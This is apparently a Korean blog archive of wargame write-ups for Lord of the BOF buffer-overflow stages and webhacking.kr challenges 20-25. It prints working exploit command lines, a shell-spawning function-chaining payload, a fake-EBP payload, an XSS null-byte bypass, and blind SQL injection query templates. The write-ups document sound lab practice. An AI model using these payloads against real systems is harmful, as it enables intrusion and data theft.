'Wargame'에 해당되는 글 454건

소스가 상당히 길어졌다.


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}


근데 결국 보면 MO함수가 실행되서 system함수가 실행되면 되는거다. 일단 공유라이브러리는 안되고 ret가 DO함수 주소여야 한다. 그렇다면 ret를 DO함수로 만든다음 MO함수까지 호출하도록 하면 되는데 MO함수 내에선 또 check값이 4여야만 system함수가 호출된다. 그렇다면 check값은 MO함수를 제외한 나머지 함수에 의해 순차적으로 값이 세팅된다. 결국 DO -> GYE -> GUL -> YUT -> MO 형식으로 호출이 되면 된다.

ret부터 148 바이트가 초기화가 안되기 때문에 ret뒤의 값들을 활용하면 된다.


이런식이다.

DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소

RET부터 일케 넣어주면 맨처음 DO함수로 EIP가 변경된뒤 DO함수 종료시에 RET가 실행되면서 기존에 넣어둔 GYE로 EIP가 변경되고 같은형식으로 쭉 MO함수까지 호출이 되게된다.


DO  = 0x080487ec


GYE = 0x080487bc


GUL = 0x0804878c


YUT = 0x0804875c


MO  = 0x08048724



실제로 넣어보면 MO함수까지 호출되는 것을 알 수 있고 system함수에 인자값이 제대로 들어오지 않아 오류가 난것을 확인할 수 있다.


이제 system함수내에 들어갈 /bin/sh 문자열 주소를 구하면 되는데 공유라이브러리 영역과 환경변수 buf~buf+44영역에는 담을수가 없다. 그치만 buf48~buf148 영역의 100byte라는 충분한 메모리 공간이 있기 때문에 이를 활용해주면 된다.


함수 주소를 모두 넣어준뒤 마지막 MO함수에서는 자신의 인자값으로 system함수의 인자값을 세팅하므로 MO함수의 인자값이 들어가는 위치에 맞춰 아래와 같은 방식으로 세팅을 해주면 된다.


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"


bin/sh문자열 주소는 위에서도 언급했듯이  


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"+"/bin/sh 헥사값"


요렇게 /bin/sh값을 아예 buf48~buf148영역에 박아넣고 그주소를 system함수 인자값으로 세팅해주면 된다.


필요한 개념은 다 정리됬으니 이제 맞춰 페이로드를 짜면된다.


./succubua `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xee\xee\xee\xee"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



일단 버퍼에 넣어놓은 /bin/sh값의 정확한 메모리 주소를 모르기 때문에 /bin/sh 문자열주소는 임의의 값으로 세팅한뒤 세그먼트 fault낸뒤 core파일로 분석했다.



/bin/sh문자열의 주소는 0xbffffaa8이었다.


이제 모든 재료는 다 구했으니 그대로 익스플로잇해주면 된다.


./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



잘나온당.






 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같이 RET값을 스택 및 공유 라이브러리 영역으로 지정할 수 없고 이전단계에서 추가된 사항으로 인해 RET뒤로는 값을 채울수가 없다. SFP와 RET만 가지고 뭔갈 해야되는데 친절하게 FEBP라고 Fake EBP 기법을 쓰라고 적혀있다.



FAKE EBP 기법을 간단히 설명하면 EBP값을 조작한 뒤 RET에 leave ret Gadget을 넣어 leave ret을 한번더 실행하게하면 현재 EBP영역의 4바이트값이 leave명령어에 의해 제거되고 결국 EBP+4영역의 4바이트값이 ret를 통해 실행되는 형식이다.

조작할 EBP 영역은 쉘코드의 주소값이 담긴 영역에 -4바이트 이다. 

여러가지 방법이 있지만 현재 buf에 내가원하는 값을 담을 수 있기 때문에 buf에 쉘코드 주소를 담고 실제 쉘코드는 성공확률을 높이기위해 NOP를 많이 박으려고 환경변수를 통해 올려놨다.



먼저 환경변수에 쉘코드를 올려놓은 후 주소를 구했다.


그럼 현재까지 "\x96\xfe\xff\xbf"+"A"*36+"buf-4주소"+"leave ret gadget 주소" 이렇게 완성할 수 있고 buf-4주소는 임의의 값을 넣은 후 세그먼트 fault 발생시켜 코어파일을 통해 구했다.



buf-4 주소 = 0xbffff9bc

현재까지 페이로드는 "\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"leave ret gadget 주소" 이고 마지막으로 leave ret gadget은 main 함수 맨 마지막에 있는 주소를 썼다.



 leave ret gadget 주소 = 0x80484df


이제 필요한건 다구했으니 익스플로잇 해주면된다.

"\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"\xdf\x84\x04\x08"






'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 25번 문제다.

점수는 150point.

들어가보니 파일 목록같은게 나오고 있고 url보면 file이라는 변수에 파일명을 입력해주는 것 같다.

딱봐도 password.php라는 파일이 수상하다. 한번 열어보려고 입력해봤다. 근데 아무런 메시지가 안나오고 그대로 hello world다.

흠... 그러고보니 위에 hello.txt같은경우 hello만 쳐도 메시지가 나와있다. 아마 자동으로 .txt를 붙여주는 것 같다. 그럼 내가 password.php를 입력하면 password.php.txt가 되서 password.php 페이지로 못가는 것같다. 그래서 password.php뒤에 null문자를 줘서 문자열을 끝내봤다. null의 url encoding 값인 %00을 줘봤다.

다음과 같이 뒤에 확장자 .txt가 무시되어 정상적으로 패스워드가 나오게 된다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 27번  (0) 2018.01.12
webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacing.kr 24번 문제다.

점수는 100 point.

들어가보면 다음과 같이 ip와 agent값이 보인다.

소스부터 확인해보자.

보아하니 간단한 소스다. 쿠키에 REMOTE_ADDR로 ip값을 넣어줬을대 ip가 12 ,7. ,0. 3가지가 필터링 되고 있는데 이를 우회해서 127.0.0.1이 나오게 만들면 된다.

일단 한번 그대로 넣어봤다.

1만 남는다. 그럼이제 조금만 생각해보면 다음과 같이 만들어 낼 수 있다.
112277..00..00..1로 넣어주면 12 7. 0. 이 공백으로 필터링되 결국 127.0.0.1이 남는다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2018.01.11
webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 23번 문제다.

점수는 200point.

들어가면 다음과 같고 <script>alert(1);</script>을 injection 하면 될 것 같다. 

그대로 입력해봤다. 

필터링이 되고있는 것 같다. 값은 url에 get방식으로 넘어가고 있는 것 같다.

흠 문자를 하나씩 입력해봤다.


정상적으로 출력된다. 근데 문자를 sc al와 같이 2개만 붙여써도 필터링이 된다.

그렇다면 문자 사이사이에 url encoding되어있는 null값을 줘서 하나의 문자들로 인식하게 만들어 

시도해 봤다. 

<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(1);<%00/%00s%00c%00r%00i%00p%00t%00>



성공! 간단한 XSS 스크립팅 문제였다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 25번  (0) 2018.01.11
webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 22번 문제다.

점수는 500point.

들어가보니 다음과 같은 창이 나타난다.

admin 사용자로 로그인을 해야하는 것 같다.


바로 admin 사용자로 로그인 시도를 해보려고 했다가 join창이 있으니 아마 이걸 활용해야 할거라고 생

각해서 admin 사용자로 가입을 하려 해봤다. 그러나 이것저것 시도해봤는데 admin사용자로 우회해서

가입하는건 실패했다. 그래서 그냥 일반 사용자로 가입을 시도해봤다.

다음과 같이 성공하게된다.

흠 그래서 test사용자로 한번 로그인해봤다.

무슨 키값같은게 뜨는데 대충보니 md5형식인 것 같다. 한번 복호화를 해봤다.

원래 비밀번호뒤에 zombie라는 문구가 추가되어 있는 것 같다.

흠.. 뭐지..? 아직 감이잘 안온다.

일단 admin사용자로 가입하는건 실패해서 아예 우회해서 로그인해보려고 시도를 했다. 그러나 이것저것 해봤는데 안된다.

그러다 혹시 블라인드 sql injection이 먹힐까하면서 이것저것 입력해보다 admin' and 1#을 주니 다음과 같은 문구가 나온다. 이를 활용하면 블라인드 sql injection이 가능할 것 같다.

다음과 같이 파이썬 스크립트를 작성했다.

코드를 돌려보니 키 값이 나온다.

이를 복호화 해보니 다음과 같은 값이뜬다. 그럼 zombie를 제외한 나머지 부분이 비밀번호일 것 같다.

id pw로 admin rainbow를 입력하니 다음과 같이 성공화면이 나타난다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 24번  (0) 2018.01.11
webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 21번 문제다.

점수는 250point.

블라인드 sql 인젝션 문제란다. 값을 하나씩 넣어보니 1,2일때는 True이고 나머지 값에서는 False가 

나타난다. 이를 활용하면 될 것 같다.


값이 넘어가는 걸 보니 no값으로 조건을 만들고 id,pw값을 출력하는 구문일 것 같다. 



대충 짜보면 select * from table where no=$_GET[no]; 와 같은 구문일 것 같다.

1,2일때만 True인걸보니 테이블에 들어있는 id,pw가 2개 들어있을 것이라고 추측할 수 있다.

먼저 id값을 알아내기 위해

"1 and if(substr(lpad(bin(ord(substr(id,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

같은 쿼리로 파이썬 프로그램을 돌렸더니 id값이 guest로 나온다.

"2 and if(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

no부분을 2로 바꾸니 admin사용자가 나온다.

그렇다면 다음과 같이

"2 and if(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=0,1,0)#"

 같은 형태로 파이썬 스크립트를 짜서 돌려봤다.

키 값을 뱉어낸다.

입력해보자.

성공! 기본적인  blind sql injection 문제였다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 23번  (0) 2018.01.11
webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 20번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
webhacking.kr 18번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

webhacking.kr 20번 문제다.

점수는 200point.

들어가보니 값을 줄수 있는 게 3가지가 있고 time limit : 2라고해서 뭔가 시간제한이 있는 것 같다.

일단 값을 아무거나 줘서 submit 해봤더니 아무 반응이없다. 소스부터 확인해보자.


흠 확인해보니 submit();이 되려면 id cmt hack값이 다 있어야하고 hack값이 attackme값이랑 같아야 한다.

hack값을 attackme값과 같이해서 보내보니 다음과 같이 에러가뜬다.

흠.. 보아하니 time limit:2라는게 2초마다 attackme값이 바뀌는 것같다. 그렇다면 새로고침하고 2초안에 저 값들을 모두넣고 submit을 해야하는데 쉽지않을 것 같다.

그래서 크롬의 개발자모드를 사용하기로 했다. 다음과 같이 값을 입력해놓고 새로고침 후 바로 엔터를 쳐 값을 한번에 입력하였다.

성공!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 22번  (2) 2018.01.11
webhacking.kr 21번  (0) 2018.01.11
webhacking.kr 19번  (0) 2018.01.11
webhacking.kr 18번  (0) 2018.01.11
webhacking.kr 17번  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 RET값에 공유 라이브러리 영역과 스택영역값을 쓸수없도록 되어있다. 일반적으로 생각했을땐 익스플로잇 하기 힘들다 생각할 수 있지만 RET Sled 기법을 사용하면 우회가 가능하다.


RET값에 RET명령어의 주소값을 넣어주면 RET가 2번실행되면서 기존에 BOF통해 덮은 RET + "4바이트"의 4바이트 지점으로 EIP가 이동된다. 그럼 환경변수를 통해 쉘 코드를 올려놓고 RET 뒤의 4바이트값을 쉘코드 주소로 넣어주면 된다. ret명령어 주소는 main 함수의 맨 마지막에 있는 ret명령어 주소값을 썼다. 



'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
LOB golem -> darkknight  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

엄청나게 삽질을 한 문제다.


일단 소스를 보면 전과 다르게 엄청나게 길어진 것을 볼 수 있다.



소스를 잘 보면 결국 execve함수의 주소를 구한뒤 이 값이 ret값이랑 일치해야 기본적으로 익스를 진행할 수 있는 구조다. 그렇다면 execve를 활용해서 쉘을 따야된다는 건데 execve함수를 잘 몰라서 찾아보니 이런 형태의 함수였다.


int execve(const char *path, char *const argv[], char *const envp[]);

path에 지정한 경로명의 파일을 실행하며 argv, envp를 인자로 전달한다. argv envp는 포인터 배열이다이 배열의 마지막에는 NULL 문자열을 저장해야 한다.


요 형식대로라면 첫번째 인자로 /bin/sh 문자열 주소를 넣어주고, 두번째 인자로는 {/bin/sh문자열주소,NULL문자열 주소}, 세번째 인자로는 환경변순데 NULL을 줘도 무관해서 결국 NULL문자열의 주소를 사용하면 될 것 같았다.



요런식으로 간단하게 execve를 이용해서 쉘을 띄우는 소스를짜서 실제로 디버깅을 해봤다.



execve 함수의 인자값을 보면 첫번째 인자인 0x8048450 주소값을 보면 /bin/sh 문자열이 저장되어 있었고 두번째 인자인 eax값의 담긴 주소값을 보면 /bin/sh문자열 이후 NULL값이 담겨있는걸 실제로 확인할 수 있었다. (두번째 포인터형 배열인 argv에서 *argv[0], *argv[1] 영역에 /bin/sh , NULL의 문자열 주소값이 아닌 그냥 값이 담겨있었던 이유는 잘 모르겠음. 전체적인 메모리구조 및 포인터에 대한 지식이 너무 부족함.)



그럼이제 다음과 같이 총3가지 재료들을 모아주면 된다.

execve 주소

/bin/sh 문자열 주소

/bin/sh 문자열 주소 +  NULL값이 있는 주소


execve 주소는 기존 코드에 의하면 값을 구하는과정에서 /home/giant/assassin 이라는 파일에 대한 읽기 권한이 필요한데 현재 권한에서는 해당 파일의 읽기권한이 없어 코드를 그대로 실행했을 경우 제대로된 execve값이 세팅이 안되기 때문에 소스에서 /home/giant/assassin 파일을 /home/bugbear/giant 파일로 바꾼후 printf로 execve값을 출력하도록 수정한뒤 컴파일한 파일로 구했다.





execve 주소 = 0x400a9d48


그 다음 /bin/sh 문자열 주소를 구해야되는데 간단하게 환경변수에 올려놓고 주소값 구하는 방식을 사용했다.


마지막으로 가장 큰 문제였던 두번째 인자값을 구해야 했는데 스택 내 맨 마지막에 프로그램명+NULL이 저장되는 것을 활용했다.


위의 두가지 개념을 생각해논 다음 먼저 환경변수에 /bin/sh를 올려놓고 주소값을 구했다. 이 때 실행파일명에 주소값이 영향을 받으므로 최종적으로 익스할때 쓸 실행파일명이 4바이트주소값이므로 임의의 4바이트 주소값으로 실행파일명을 정해논다음 해당파일에서 환경변수값을 구했다.




세그먼트 에러낸 후 코어파일에서 정확한 주소값을 구했다.



/bin/sh 문자열 주소 = 0xbfffff3b


마지막으로 두번째 인자값의 주소는 스택내 맨 마지막 부분의 주소를 위의 코어파일을 통해 구했다.



/bin/sh 문자열 주소 + NULL 주소 값이 있는 주소 = 0xbffffff7


이제 실행파일명을 /bin/sh문자열이 있는 주소로 변경한뒤 구해논 재료들을 가지고 익스플로잇하면 된다.



? 완벽하게 구했다고 생각했는데 execve값이 계속 틀리다고 나왔다. 여기서 엄청난 삽질을 하다 멘탈이 나갔는데 결국 구글링해서 알고보니 execve 주소값에 들어간 \x0a값이 개행문자로 들어가서 그 뒤에 값들이 제대로 인자값으로 안들어간거였다.


인자값을 ""로 묶어주면 %0a가 개행으로 안들어가서 익스할수있었다.



이제 심볼릭 링크걸고 익스해주면 된다.















'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
LOB golem -> darkknight  (0) 2018.01.09
LOB skeleton -> golem  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,